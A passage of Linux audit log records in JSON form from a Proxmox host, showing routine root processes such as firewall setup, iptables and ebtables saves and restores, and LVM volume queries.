key=\"exec\""} {"@timestamp":1781966271009,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966271.009:69145): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965255904,"@rawstring":"node=pve type=EXECVE msg=audit(1781965255.904:64827): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781965053116,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965053.116:63844): arch=c000003e syscall=59 success=yes exit=0 a0=592f703a8748 a1=592f488a5978 a2=592f703a86e8 a3=0 items=2 ppid=61269 pid=61271 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"realpath\" exe=\"/usr/bin/realpath\" subj=unconfined key=\"exec\""} {"@timestamp":1781966271009,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966271.009:69144): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965255896,"@rawstring":"node=pve type=EXECVE msg=audit(1781965255.896:64826): argc=1 a0=\"iptables-save\""} {"@timestamp":1781965053114,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965053.114:63843): arch=c000003e syscall=59 success=yes exit=0 a0=5b65b183d100 a1=5b65b183a920 a2=5b65b18fc3b0 a3=0 items=3 ppid=61261 pid=61269 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"virtual-functio\" exe=\"/usr/bin/dash\" subj=unconfined key=\"exec\""} {"@timestamp":1781966271009,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966271.009:69143): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965255892,"@rawstring":"node=pve type=EXECVE msg=audit(1781965255.892:64825): argc=4 a0=\"/usr/sbin/ebtables\" a1=\"-t\" a2=\"filter\" a3=\"-L\""} {"@timestamp":1781965053108,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965053.108:63842): arch=c000003e syscall=59 success=yes exit=0 a0=57c8b2e5d510 a1=57c8b2e74b60 a2=57c8af576680 a3=b items=2 ppid=61255 pid=61268 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip\" exe=\"/usr/bin/ip\" subj=unconfined key=\"exec\""} {"@timestamp":1781966266000,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966266.000:69142): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965255890,"@rawstring":"node=pve type=EXECVE msg=audit(1781965255.890:64824): argc=3 a0=\"sh\" a1=\"-c\" a2=67726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781965053092,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965053.092:63839): arch=c000003e syscall=59 success=yes exit=0 a0=7ffee4c30b30 a1=57c8b2e52b90 a2=57c8af576680 a3=b items=2 ppid=61255 pid=61265 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip\" exe=\"/usr/bin/ip\" subj=unconfined key=\"exec\""} {"@timestamp":1781966266000,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966266.000:69141): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965255889,"@rawstring":"node=pve type=EXECVE msg=audit(1781965255.889:64823): argc=1 a0=\"date\""} {"@timestamp":1781965053086,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965053.086:63838): arch=c000003e syscall=59 success=yes exit=0 a0=7ffee4c30b30 a1=57c8b2ec10c0 a2=57c8af576680 a3=b items=2 ppid=61255 pid=61264 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip\" exe=\"/usr/bin/ip\" subj=unconfined key=\"exec\""} {"@timestamp":1781966266000,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966266.000:69140): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965255883,"@rawstring":"node=pve type=EXECVE msg=audit(1781965255.883:64821): argc=3 a0=\"/usr/bin/perl\" a1=\"-w\" a2=\"/sbin/ebtables-save\""} {"@timestamp":1781965053083,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965053.083:63837): arch=c000003e syscall=46 success=yes exit=40 a0=3 a1=7ffdcd80a6f0 a2=0 a3=0 items=0 ppid=61255 pid=61263 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip\" exe=\"/usr/bin/ip\" subj=unconfined key=(null)"} {"@timestamp":1781966265991,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966265.991:69139): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965255875,"@rawstring":"node=pve type=EXECVE msg=audit(1781965255.875:64820): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781965053079,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965053.079:63836): arch=c000003e syscall=59 success=yes exit=0 a0=57c8b2ea8f60 a1=57c8b2e6f3a0 a2=57c8af576680 a3=b items=2 ppid=61255 pid=61263 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip\" exe=\"/usr/bin/ip\" subj=unconfined key=\"exec\""} {"@timestamp":1781966265991,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966265.991:69138): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965255869,"@rawstring":"node=pve type=EXECVE msg=audit(1781965255.869:64819): argc=1 a0=\"iptables-save\""} {"@timestamp":1781965052024,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965052.024:63835): arch=c000003e syscall=59 success=yes exit=0 a0=5b65b1848230 a1=5b65b183d5c0 a2=5b65b17f0900 a3=0 items=2 ppid=61256 pid=61260 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"systemd-sysctl\" exe=\"/usr/lib/systemd/systemd-sysctl\" subj=unconfined key=\"exec\""} {"@timestamp":1781966265991,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966265.991:69137): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965255863,"@rawstring":"node=pve type=EXECVE msg=audit(1781965255.863:64818): argc=2 a0=\"ipset\" a1=\"save\""} {"@timestamp":1781965052021,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965052.021:63834): arch=c000003e syscall=59 success=yes exit=0 a0=5b65b183a920 a1=5b65b1848230 a2=5b65b17f0900 a3=0 items=3 ppid=61256 pid=61259 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"net-interface-h\" exe=\"/usr/bin/dash\" subj=unconfined key=\"exec\""} {"@timestamp":1781966265502,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966265.502:69136): proctitle=\"ebtables-restore\""} {"@timestamp":1781965255855,"@rawstring":"node=pve type=EXECVE msg=audit(1781965255.855:64817): argc=5 a0=\"ip\" a1=\"-details\" a2=\"-json\" a3=\"link\" a4=\"show\""} {"@timestamp":1781965052021,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965052.021:63833): arch=c000003e syscall=280 success=yes exit=0 a0=14 a1=7d8b6df1222b a2=0 a3=1000 items=1 ppid=442 pid=61256 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"(udev-worker)\" exe=\"/usr/bin/udevadm\" subj=unconfined key=\"T1070.006_time_change\""} {"@timestamp":1781966265500,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966265.500:69135): proctitle=\"ebtables-restore\""} {"@timestamp":1781965255849,"@rawstring":"node=pve type=EXECVE msg=audit(1781965255.849:64816): argc=5 a0=\"ip\" a1=\"-details\" a2=\"-json\" a3=\"link\" a4=\"show\""} {"@timestamp":1781965052018,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965052.018:63832): arch=c000003e syscall=59 success=yes exit=0 a0=5808a5fe0710 a1=580875cd5978 a2=5808a5fe06b8 a3=0 items=2 ppid=61257 pid=61258 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"realpath\" exe=\"/usr/bin/realpath\" subj=unconfined key=\"exec\""} {"@timestamp":1781966265496,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966265.496:69134): proctitle=2F7573722F7362696E2F65627461626C6573002D740066696C746572002D4C"} {"@timestamp":1781965254248,"@rawstring":"node=pve type=EXECVE msg=audit(1781965254.248:64815): argc=12 a0=\"/sbin/lvs\" a1=\"--separator\" a2=\":\" a3=\"--noheadings\" a4=\"--units\" a5=\"b\" a6=\"--unbuffered\" a7=\"--nosuffix\" a8=\"--config\" a9=7265706F72742F74696D655F666F726D61743D22257322 a10=\"--options\" a11=\"vg_name,lv_name,lv_size,lv_attr,pool_lv,data_percent,metadata_percent,snap_percent,uuid,tags,metadata_size,time\""} {"@timestamp":1781965052018,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965052.018:63831): arch=c000003e syscall=59 success=yes exit=0 a0=5b65b183a920 a1=5b65b1848230 a2=5b65b185b760 a3=0 items=3 ppid=61256 pid=61257 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"virtual-functio\" exe=\"/usr/bin/dash\" subj=unconfined key=\"exec\""} {"@timestamp":1781966265493,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966265.493:69133): proctitle=7368002D630067726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781965254209,"@rawstring":"node=pve type=EXECVE msg=audit(1781965254.209:64814): argc=10 a0=\"/sbin/vgs\" a1=\"--separator\" a2=\":\" a3=\"--noheadings\" a4=\"--units\" a5=\"b\" a6=\"--unbuffered\" a7=\"--nosuffix\" a8=\"--options\" a9=\"vg_name,vg_size,vg_free,lv_count\""} {"@timestamp":1781965052016,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965052.016:63830): arch=c000003e syscall=59 success=yes exit=0 a0=5599a4160450 a1=7ffe706ffcf0 a2=7ffe70700508 a3=7ffe706ffbc0 items=3 ppid=61249 pid=61255 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"pve-bridge\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781966265491,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966265.491:69132): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965252325,"@rawstring":"node=pve type=EXECVE msg=audit(1781965252.325:64813): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781965051943,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965051.943:63829): arch=c000003e syscall=59 success=yes exit=0 a0=620c1ddbc5f0 a1=620c1dc6d6c0 a2=620c17225c10 a3=b items=2 ppid=61244 pid=61245 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"kvm\" exe=\"/usr/bin/qemu-system-x86_64\" subj=unconfined key=\"exec\""} {"@timestamp":1781966265491,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966265.491:69131): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965252314,"@rawstring":"node=pve type=EXECVE msg=audit(1781965252.314:64810): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781965051842,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965051.842:63828): arch=c000003e syscall=59 success=yes exit=0 a0=620c1dcb0060 a1=620c1dcae3e0 a2=620c17225c10 a3=b items=2 ppid=61227 pid=61243 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"systemctl\" exe=\"/usr/bin/systemctl\" subj=unconfined key=\"exec\""} {"@timestamp":1781966265487,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966265.487:69130): proctitle=2F7573722F62696E2F7065726C002D77002F7362696E2F65627461626C65732D73617665"} {"@timestamp":1781965247305,"@rawstring":"node=pve type=EXECVE msg=audit(1781965247.305:64807): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781965051830,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965051.830:63827): arch=c000003e syscall=59 success=yes exit=0 a0=620c1dcb0320 a1=620c152a2f20 a2=620c17225c10 a3=b items=2 ppid=61227 pid=61242 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"systemctl\" exe=\"/usr/bin/systemctl\" subj=unconfined key=\"exec\""} {"@timestamp":1781966265481,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966265.481:69129): proctitle=69707365740073617665"} {"@timestamp":1781965247298,"@rawstring":"node=pve type=EXECVE msg=audit(1781965247.298:64804): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781965051813,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965051.813:63826): arch=c000003e syscall=59 success=yes exit=0 a0=620c1dcb02e0 a1=620c1dcb3f70 a2=620c17225c10 a3=b items=2 ppid=61227 pid=61241 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"systemctl\" exe=\"/usr/bin/systemctl\" subj=unconfined key=\"exec\""} {"@timestamp":1781966265475,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966265.475:69128): proctitle=6970367461626C65732D726573746F7265002D5400726177002D6E"} {"@timestamp":1781965245838,"@rawstring":"node=pve type=EXECVE msg=audit(1781965245.838:64801): argc=4 a0=\"/usr/sbin/ebtables\" a1=\"-t\" a2=\"filter\" a3=\"-L\""} {"@timestamp":1781965051748,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965051.748:63825): arch=c000003e syscall=59 success=yes exit=0 a0=620c1dba42d0 a1=620c1dca1390 a2=620c17225c10 a3=b items=2 ppid=61227 pid=61239 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"kvm\" exe=\"/usr/bin/qemu-system-x86_64\" subj=unconfined key=\"exec\""} {"@timestamp":1781966265469,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966265.469:69127): proctitle=\"ip6tables-save\""} {"@timestamp":1781965245835,"@rawstring":"node=pve type=EXECVE msg=audit(1781965245.835:64800): argc=3 a0=\"sh\" a1=\"-c\" a2=67726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781965051710,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965051.710:63824): arch=c000003e syscall=59 success=yes exit=0 a0=620c1dc9b8c0 a1=620c178b2cb0 a2=620c17225c10 a3=b items=2 ppid=61227 pid=61237 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"lvs\" exe=\"/usr/sbin/lvm\" subj=unconfined key=\"exec\""} {"@timestamp":1781966265463,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966265.463:69126): proctitle=69707461626C65732D726573746F7265002D5400726177002D6E"} {"@timestamp":1781965245834,"@rawstring":"node=pve type=EXECVE msg=audit(1781965245.834:64799): argc=1 a0=\"date\""} {"@timestamp":1781965051682,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965051.682:63823): arch=c000003e syscall=59 success=yes exit=0 a0=620c1dc9b8e0 a1=620c1b33c040 a2=620c17225c10 a3=b items=2 ppid=61227 pid=61236 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"vgs\" exe=\"/usr/sbin/lvm\" subj=unconfined key=\"exec\""} {"@timestamp":1781966265455,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966265.455:69125): proctitle=\"iptables-save\""} {"@timestamp":1781965245828,"@rawstring":"node=pve type=EXECVE msg=audit(1781965245.828:64797): argc=3 a0=\"/usr/bin/perl\" a1=\"-w\" a2=\"/sbin/ebtables-save\""} {"@timestamp":1781965051648,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965051.648:63822): arch=c000003e syscall=59 success=yes exit=0 a0=620c1dc88970 a1=620c1dc9bb10 a2=620c17225c10 a3=b items=2 ppid=61227 pid=61235 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"lvs\" exe=\"/usr/sbin/lvm\" subj=unconfined key=\"exec\""} {"@timestamp":1781966265450,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966265.450:69124): proctitle=6970367461626C65732D726573746F7265002D540066696C746572002D6E"} {"@timestamp":1781965245819,"@rawstring":"node=pve type=EXECVE msg=audit(1781965245.819:64796): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781965051620,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965051.620:63821): arch=c000003e syscall=59 success=yes exit=0 a0=620c1dc9b960 a1=620c1dc9bb10 a2=620c17225c10 a3=b items=2 ppid=61227 pid=61233 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"lvs\" exe=\"/usr/sbin/lvm\" subj=unconfined key=\"exec\""} {"@timestamp":1781966265444,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966265.444:69123): proctitle=\"ip6tables-save\""} {"@timestamp":1781965245810,"@rawstring":"node=pve type=EXECVE msg=audit(1781965245.810:64795): argc=1 a0=\"iptables-save\""} {"@timestamp":1781965051620,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965051.620:63820): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a6789952a90 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=61234 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781966265436,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966265.436:69122): proctitle=69707461626C65732D726573746F7265002D540066696C746572002D6E"} {"@timestamp":1781965245801,"@rawstring":"node=pve type=EXECVE msg=audit(1781965245.801:64794): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781965051614,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965051.614:63817): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a67899529b0 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=61232 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781966265430,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966265.430:69121): proctitle=\"iptables-save\""} {"@timestamp":1781965245793,"@rawstring":"node=pve type=EXECVE msg=audit(1781965245.793:64793): argc=1 a0=\"iptables-save\""} {"@timestamp":1781965051584,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965051.584:63814): arch=c000003e syscall=59 success=yes exit=0 a0=620c1dc5c830 a1=620c1dc9b090 a2=620c17225c10 a3=b items=2 ppid=61227 pid=61231 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"vgs\" exe=\"/usr/sbin/lvm\" subj=unconfined key=\"exec\""} {"@timestamp":1781966265037,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966265.037:69120): proctitle=2F7362696E2F6C7673002D2D736570617261746F72003A002D2D6E6F68656164696E6773002D2D756E6974730062002D2D756E6275666665726564002D2D6E6F737566666978002D2D636F6E666967007265706F72742F74696D655F666F726D61743D22257322002D2D6F7074696F6E730076675F6E616D652C6C765F6E616D"} {"@timestamp":1781965245785,"@rawstring":"node=pve type=EXECVE msg=audit(1781965245.785:64791): argc=1 a0=\"ebtables-restore\""} {"@timestamp":1781965051563,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965051.563:63813): arch=c000003e syscall=59 success=yes exit=0 a0=7ffdfadb4320 a1=620c1dc969c0 a2=620c17225c10 a3=b items=2 ppid=61227 pid=61230 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"df\" exe=\"/usr/bin/df\" subj=unconfined key=\"exec\""} {"@timestamp":1781966265013,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966265.013:69119): proctitle=2F7362696E2F766773002D2D736570617261746F72003A002D2D6E6F68656164696E6773002D2D756E6974730062002D2D756E6275666665726564002D2D6E6F737566666978002D2D6F7074696F6E730076675F6E616D652C76675F73697A652C76675F667265652C6C765F636F756E74"} {"@timestamp":1781965245778,"@rawstring":"node=pve type=EXECVE msg=audit(1781965245.778:64790): argc=4 a0=\"ip6tables-restore\" a1=\"-T\" a2=\"raw\" a3=\"-n\""} {"@timestamp":1781965051555,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965051.555:63811): arch=c000003e syscall=59 success=yes exit=0 a0=7ffdfadb4340 a1=620c1dc89900 a2=620c17225c10 a3=b items=2 ppid=61227 pid=61229 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ionice\" exe=\"/usr/bin/ionice\" subj=unconfined key=\"exec\""} {"@timestamp":1781966261284,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966261.284:69118): proctitle=61776B007B2073756D202B3D202431207D3B20454E44207B207072696E7466202822252E3066222C2073756D29207D"} {"@timestamp":1781965245773,"@rawstring":"node=pve type=EXECVE msg=audit(1781965245.773:64789): argc=4 a0=\"ip6tables-restore\" a1=\"-T\" a2=\"filter\" a3=\"-n\""} {"@timestamp":1781965046602,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965046.602:63809): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a6789952b70 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=61221 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781966261284,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966261.284:69117): proctitle=7073002D43006B766D002D6F00707373"} {"@timestamp":1781965245767,"@rawstring":"node=pve type=EXECVE msg=audit(1781965245.767:64788): argc=4 a0=\"iptables-restore\" a1=\"-T\" a2=\"raw\" a3=\"-n\""} {"@timestamp":1781965046590,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965046.590:63806): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a67899532b0 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=61220 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781966261282,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966261.282:69116): proctitle=61776B002F5E284D656D467265657C427566666572737C436163686564293A2F207B66726565202B3D2024327D3B20454E44207B207072696E7466202822252E3066222C206672656529207D002F70726F632F6D656D696E666F"} {"@timestamp":1781965245759,"@rawstring":"node=pve type=EXECVE msg=audit(1781965245.759:64787): argc=4 a0=\"iptables-restore\" a1=\"-T\" a2=\"filter\" a3=\"-n\""} {"@timestamp":1781965045178,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965045.178:63803): arch=c000003e syscall=59 success=yes exit=0 a0=61c6a26b10a0 a1=61c6a26ade20 a2=61c6a268f680 a3=5 items=2 ppid=61213 pid=61219 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables\" exe=\"/usr/sbin/ebtables-legacy\" subj=unconfined key=\"exec\""} {"@timestamp":1781966260983,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966260.983:69115): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965245753,"@rawstring":"node=pve type=EXECVE msg=audit(1781965245.753:64786): argc=2 a0=\"ipset\" a1=\"restore\""} {"@timestamp":1781965045175,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965045.175:63802): arch=c000003e syscall=59 success=yes exit=0 a0=61c67380cac8 a1=7ffd0c5c7580 a2=61c6a268f680 a3=61c6737f024e items=2 ppid=61213 pid=61215 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"sh\" exe=\"/usr/bin/dash\" subj=unconfined key=\"exec\""} {"@timestamp":1781966260983,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966260.983:69114): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965245743,"@rawstring":"node=pve type=EXECVE msg=audit(1781965245.743:64785): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781965045174,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965045.174:63801): arch=c000003e syscall=59 success=yes exit=0 a0=7ffd0c5c7540 a1=61c6a2696310 a2=61c6a268f680 a3=5 items=2 ppid=61213 pid=61214 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"date\" exe=\"/usr/bin/date\" subj=unconfined key=\"exec\""} {"@timestamp":1781966260983,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966260.983:69113): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965245735,"@rawstring":"node=pve type=EXECVE msg=audit(1781965245.735:64784): argc=1 a0=\"iptables-save\""} {"@timestamp":1781965045170,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965045.170:63799): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=3 ppid=1156 pid=61213 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781966260977,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966260.977:69112): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965245730,"@rawstring":"node=pve type=EXECVE msg=audit(1781965245.730:64783): argc=4 a0=\"/usr/sbin/ebtables\" a1=\"-t\" a2=\"filter\" a3=\"-L\""} {"@timestamp":1781965045164,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965045.164:63798): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=61212 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781966260977,"@rawstring":"node=pve type=PROCTITLE msg=audit(1781966260.977:69111): proctitle=2F7573722F6C6962657865632F70726F786D6F782F70726F786D6F782D6669726577616C6C007374617274"} {"@timestamp":1781965245727,"@rawstring":"node=pve type=EXECVE msg=audit(1781965245.727:64782): argc=3 a0=\"sh\" a1=\"-c\" a2=67726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781965045158,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965045.158:63797): arch=c000003e syscall=59 success=yes 